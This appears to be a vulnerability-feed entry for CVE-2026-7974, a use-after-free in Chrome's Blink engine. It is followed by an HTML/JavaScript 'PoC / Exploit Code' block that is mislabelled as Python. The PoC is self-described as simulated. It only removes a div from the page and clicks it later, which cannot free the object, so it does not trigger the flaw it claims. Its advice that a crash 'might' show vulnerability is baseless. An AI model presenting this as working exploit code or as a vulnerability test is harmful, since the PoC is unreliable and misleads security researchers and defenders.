Use after free in Blink in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7974 (Use After Free in Blink)
This is a simulated demonstration of the UAF trigger.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7974 PoC</title>
<script>
function trigger_uaf() {
// Step 1: Create a vulnerable object
let vuln_obj = document.createElement('div');
// Step 2: Setup a listener or property that references the object
vuln_obj.onclick = function() {
console.log("Object clicked");
};
// Step 3: Remove the object from DOM to free memory (sometimes)
document.body.appendChild(vuln_obj);
document.body.removeChild(vuln_obj);
// Step 4: Force garbage collection if possible (Implementation dependent)
// In a real exploit, heap spraying would happen here.
// Step 5: Attempt to use the freed object (The UAF)
// This might crash the browser or allow RCE in a real scenario
setTimeout(() => {
vuln_obj.click();
}, 100);
}
window.onload = trigger_uaf;
</script>
</head>
<body>
<h1>CVE-2026-7974 PoC Test</h1>
<p>If the browser crashes or behaves unexpectedly, it might be vulnerable.</p>
</body>
</html>